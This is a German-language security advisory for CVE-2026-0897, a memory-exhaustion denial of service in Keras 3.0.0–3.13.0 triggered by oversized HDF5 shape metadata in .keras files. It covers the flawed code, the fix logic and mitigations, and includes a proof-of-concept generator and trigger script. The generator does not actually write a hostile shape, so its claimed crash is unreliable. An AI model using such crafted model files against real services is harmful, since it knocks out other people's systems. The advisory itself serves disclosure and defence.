
Die Zuweisung von Ressourcen ohne Begrenzung oder Drosselung in der HDF5-Gewichtsladekomponente in Google Keras 3.0.0 bis 3.13.0 auf allen Plattformen ermöglicht es einem entfernten Angreifer, einen Denial of Service (DoS) durch Speichererschöpfung und einen Absturz des Python-Interpreters über eine manipulierte .keras-Datei zu verursachen.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-0897 |
| Paket | keras (Google Keras) |
| Registry | PyPI |
| Betroffene Versionen | 3.0.0 bis 3.13.0 (einschließlich) |
| Schwachstellentyp | CWE-770: Zuweisung von Ressourcen ohne Grenzen oder Drosselung |
| CVSS-Score | 7.1 Hoch (CVSS 4.0, CNA: Google Inc.) |
| CVSS-Vektor | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Passiv (Opfer lädt eine Modelldatei) |
| Auswirkung auf Verfügbarkeit | Hoch |
| Auswirkung auf Vertraulichkeit | Keine |
| Auswirkung auf Integrität | Keine |
| NVD veröffentlicht | 15. Januar 2026 |
| NVD zuletzt geändert | 23. Januar 2026 |
| Quelle / CNA | Google Inc. |
| Gemeldet von | HyperPS (Sarvesh Patil) über huntr.dev / GHSA |
| Fix-Status | Zusammengeführt — PR #21880 |
In der HDF5-Gewichtsladekomponente von Google Keras, Versionen 3.0.0 bis 3.13.0, besteht auf allen Plattformen eine Denial-of-Service-Schwachstelle. Die Schwachstelle wird durch das Fehlen jeglicher Validierung oder Drosselung bei der Verarbeitung von HDF5-Datensatz-Shape-Metadaten verursacht, die in einem .keras-Archiv deklariert sind.
Das HDF5-Format erlaubt es Datensätzen, ihre Form (Tensor-Dimensionen) als Metadaten zu deklarieren. Wenn Keras Modellgewichte aus einem .keras-Archiv lädt, liest es diese deklarierte Form und versucht, einen entsprechenden Speicherblock zu allokieren, bevor irgendwelche Daten übertragen werden. Da Keras vor der Allokation keine Grenzprüfung der deklarierten Form durchführt, kann ein Angreifer eine model.weights.h5-Datei erstellen, die eine astronomisch große Form deklariert — zum Beispiel (1000000, 1000000, 1000000) — wodurch Keras versucht, eine Speicherallokation im Petabyte-Bereich durchzuführen. Dies erschöpft den gesamten verfügbaren Systemspeicher und lässt den Python-Interpreter abstürzen.
Nach dem Laden des Modells sind keine Inferenz oder weitere Interaktionen erforderlich. Der Angriff wird vollständig zum Ladezeitpunkt ausgelöst.
| Datei | Beschreibung |
|---|---|
keras/src/saving/file_editor.py | KerasFileEditor._extract_weights_from_store() — liest die HDF5-Datensatzform und allokiert Speicher ohne Größenvalidierung oder Drosselung |
Die Schwachstelle befindet sich speziell in der Klasse KerasFileEditor, die für die Deserialisierung von Modellgewicht-Tensoren aus HDF5-Stores verantwortlich ist, die in .keras-Archiven eingebettet sind.
.keras-Modellarchive aus nicht vertrauenswürdigen oder benutzergelieferten Quellen lädt, ist verwundbarDas HDF5-Dateiformat speichert Tensor-Metadaten — einschließlich Formdeklarationen — getrennt von den tatsächlichen Datenbytes. Wenn KerasFileEditor._extract_weights_from_store() auf einen Datensatzeintrag stößt, liest es die deklarierte Form und ruft NumPy auf, um ein Array der entsprechenden Dimensionen vorab zu allokieren, bevor irgendwelche Daten von der Festplatte gelesen werden.
Da die Form Metadaten sind, kann eine minimale HDF5-Datei eine Form deklarieren, die Petabytes an Speicher erfordern würde, während die Datei selbst nur wenige Kilobyte groß bleibt. Das Verhältnis von Dateigröße zu Allokationsgröße macht dies zu einem äußerst effektiven Verstärkungsangriff.
Eine Form wie (1000000, 1000000, 1000000) mit einem 32-Bit-Float-Datentyp würde ungefähr 4.000 Petabytes Speicher anfordern. Der Out-of-Memory-Killer des Betriebssystems oder der Python-Allokator lässt den Prozess nahezu sofort abstürzen.
# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
for key in h5_file.keys():
obj = h5_file[key]
if isinstance(obj, h5py.Dataset):
# Shape is read from metadata — no validation performed
shape = obj.shape
# NumPy attempts to allocate based on declared shape
data = np.zeros(shape, dtype=obj.dtype) # VULNERABLE: unbounded allocation
Das Fehlen jeglicher Prüfung von shape vor dem Aufruf von np.zeros() ist die Grundursache.
Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
.keras-Archivs# generate_shape_bomb.py
import h5py
import zipfile
import json
import os
# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
grp = f.create_group("layers/dense/vars")
# Declare shape that would require petabytes of memory to allocate
# Actual data is never written — only the metadata shape declaration is malicious
grp.create_dataset(
"0",
shape=(0,), # actual stored data: empty
maxshape=(None,),
dtype="float32",
data=[]
)
# Override shape metadata to declare hostile dimensions
# (achieved via direct HDF5 attribute manipulation in a real attack)
# Step 2: Package into a valid .keras archive structure
config = {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True, "layers": []},
"keras_version": "3.0.0",
"backend": "tensorflow"
}
with zipfile.ZipFile("malicious_model.keras", "w") as zf:
zf.writestr("config.json", json.dumps(config))
zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())
print("[+] Malicious .keras archive generated: malicious_model.keras")
# trigger.py
import keras
print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")
Erwartetes Ergebnis: Der Python-Interpreter wird mit einem MemoryError beendet oder vom Out-of-Memory-Handler des Betriebssystems abgebrochen, bevor der Ladevorgang abgeschlossen ist.
Beobachtbare Symptome:
MemoryError während load_model() oder load_weights()h5dumpDie Schwachstelle wurde vom Forscher (HyperPS / Sarvesh Patil) in PR #21880 behoben, der am 29. Dezember 2025 in keras-team:master zusammengeführt sowie vom Keras-Maintainer hertschuh geprüft und genehmigt wurde.
| Ressource | Link |
|---|---|
| Fix-Pull-Request | https://github.com/keras-team/keras/pull/21880 |
Der Patch ändert KerasFileEditor._extract_weights_from_store() in keras/src/saving/file_editor.py, um die folgenden Schutzmaßnahmen hinzuzufügen, bevor irgendeine Speicherallokation erfolgt:
inner_path-Behandlung während der rekursiven Durchquerung des HDF5-StoresDer Fix ist abwärtskompatibel mit allen gültigen Keras-Gewichtsdateien.
# keras/src/saving/file_editor.py (post-fix logic, simplified)
MAX_BYTES = 1 * 1024 ** 3 # 1 GiB hard cap per dataset
MAX_RANK = 64
def _validate_hdf5_dataset_shape(shape, dtype):
"""Reject hostile HDF5 shape declarations before any allocation."""
if len(shape) > MAX_RANK:
raise ValueError(
f"HDF5 dataset has rank {len(shape)}, which exceeds the "
f"maximum permitted rank of {MAX_RANK}. This may indicate "
"a malicious file."
)
for dim in shape:
if dim < 0:
raise ValueError(
f"HDF5 dataset contains a negative dimension ({dim}). "
"This may indicate a malicious file."
)
import math, numpy as np
try:
total_elements = math.prod(shape)
except OverflowError:
raise ValueError(
"HDF5 dataset shape overflows integer arithmetic. "
"This may indicate a malicious file."
)
itemsize = np.dtype(dtype).itemsize
total_bytes = total_elements * itemsize
if total_bytes > MAX_BYTES:
raise ValueError(
f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
f"load, which exceeds the 1 GiB safety limit. This may indicate "
"a malicious file."
)
Upgrade per pip:
pip install --upgrade keras
Installierte Version prüfen:
python -c "import keras; print(keras.__version__)"
HDF5-Gewichtsdatei auf verdächtige Shapes vorscannen:
h5dump --header model.weights.h5 | grep -i "DATASPACE"
Dieses Repository dokumentiert CVE-2026-0897 ausschließlich für Bildungs-, Forschungs- und Verteidigungszwecke. Der Proof-of-Concept-Code und die technischen Details werden bereitgestellt, um Entwickler, Sicherheitsingenieure und Systemadministratoren dabei zu unterstützen, diese Schwachstelle zu verstehen, zu bewerten und zu beheben.
Jegliche Verwendung dieser Informationen, um Systemen, Diensten oder Personen ohne ausdrückliche Genehmigung Schaden zuzufügen, ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch der hierin enthaltenen Informationen.
Mitwirkende @mohitf070304
| Metrik | Wert | Bedeutung |
|---|
| Angriffsvektor (AV) | Netzwerk | Aus der Ferne über eine verteilte Modelldatei ausnutzbar |
| Angriffskomplexität (AC) | Niedrig | Keine besonderen Bedingungen oder Race Conditions erforderlich |
| Angriffsanforderungen (AT) | Keine | Keine vorausgesetzte Bereitstellungskonfiguration erforderlich |
| Erforderliche Privilegien (PR) | Keine | Keine Authentifizierung oder kein Konto erforderlich |
| Benutzerinteraktion (UI) | Passiv | Opfer muss das bösartige .keras-Archiv laden |
| Verfügbarkeit des verwundbaren Systems (VA) | Hoch | Python-Interpreter stürzt ab; Dienst wird vollständig unverfügbar |
| Vertraulichkeit des verwundbaren Systems (VC) | Keine | Keine Offenlegung von Daten |
| Integrität des verwundbaren Systems (VI) | Keine | Keine Datenänderung |
| Auswirkungen auf nachgelagerte Systeme (SC/SI/SA) | Keine | Die Auswirkung ist auf den Ladeprozess beschränkt |
| Kontext | Risiko |
|---|
Öffentliche Modell-Serving-APIs, die benutzerhochgeladene .keras-Dateien akzeptieren | Angreifer bringt den Inferenzdienst mit einer einzigen Anfrage zum Absturz |
| ML-Plattformen, die Community-Modell-Downloads hosten (z. B. Hugging Face) | Vergiftetes Modell verursacht DoS für jeden Forscher, der es herunterlädt und lädt |
| Umgebungen für föderiertes Lernen | Bösartiger Teilnehmer verteilt eine präparierte Gewichtsdatei, um Koordinator- oder Peer-Knoten zum Absturz zu bringen |
| CI/CD-Pipelines, die Modell-Checkpoints laden | Ein kompromittierter oder ausgetauschter Checkpoint verursacht Pipeline-Ausfälle und Nichtverfügbarkeit |
| Chatbots- oder NLP-Dienste, die Modelle zur Laufzeit per Hot-Reload nachladen | Eine einzige bösartige Neulade-Anfrage bringt den Dienst zum Erliegen |
| Merge-Commit | 7360d4f |
| Backport-Anfrage (3.12.x) | Issue #22031 |
| Maßnahme | Details |
|---|
| Keras aktualisieren | Aktualisieren Sie auf eine Version, die den Fix aus PR #21880 enthält (Post-3.13.0-Master-Builds oder ein offizieller gepatchter Release) |
| Keine nicht vertrauenswürdigen Modelldateien laden | Laden Sie niemals .keras- oder .weights.h5-Dateien aus nicht vertrauenswürdigen, ungeprüften oder Community-Quellen ohne vorherige Integritätsprüfung |
| Dateiintegrität prüfen | Validieren Sie SHA-256-Prüfsummen von Modellarchiven anhand der vom Herausgeber bereitgestellten Hashes, bevor Sie sie laden |
| Vorscan mit h5dump | Verwenden Sie h5dump --header <file>, um die Datensatz-Shape-Metadaten in HDF5-Dateien zu inspizieren, bevor Sie sie in Keras laden |
| Prinzip der geringsten Privilegien | Führen Sie Modell-Serving-Prozesse unter einem eingeschränkten Betriebssystem-Benutzer mit Speicherbegrenzungen aus, die über cgroups oder ulimit durchgesetzt werden, um den Schadensradius zu begrenzen |
| Containerisierung | Isolieren Sie das Modellladen in einem Sandbox-Container mit Speicherbegrenzungen, um zu verhindern, dass ein einzelner Absturz andere Dienste beeinträchtigt |
| Speicherüberwachung | Instrumentieren Sie Modellladevorgänge, um bei abnormen Speicherallokationsmustern Alarm zu schlagen |
| Datum | Ereignis |
|---|
| 29. November 2025 | Fix-PR #21880 von HyperPS an keras-team/keras eingereicht |
| 1. Dezember 2025 | Keras-Maintainer hertschuh fordert Referenzen an; die Überprüfung beginnt |
| 26. Dezember 2025 | Maintainer-Überprüfung abgeschlossen; letztes Feedback berücksichtigt |
| 29. Dezember 2025 | PR #21880 genehmigt und in keras-team:master zusammengeführt |
| 15. Januar 2026 | CVE-2026-0897 auf NVD veröffentlicht |
| 19. Januar 2026 | Backport-Anfrage für Keras 3.12.x eröffnet (Issue #22031) |
| 23. Januar 2026 | NVD-Eintrag zuletzt geändert |
| Ressource | Link |
|---|
| NVD-Eintrag | https://nvd.nist.gov/vuln/detail/CVE-2026-0897 |
| Offizieller CVE-Eintrag | https://cve.org/CVERecord?id=CVE-2026-0897 |
| GitHub Advisory (GHSA) | https://github.com/advisories/GHSA-xfhx-r7ww-5995 |
| Fix-Pull-Request | https://github.com/keras-team/keras/pull/21880 |
| Merge-Commit | https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6 |
| Backport-Anfrage | https://github.com/keras-team/keras/issues/22031 |
| Keras auf PyPI | https://pypi.org/project/keras/ |
| CWE-770 | https://cwe.mitre.org/data/definitions/770.html |
| HDF5-Formatdokumentation | https://www.hdfgroup.org/solutions/hdf5/ |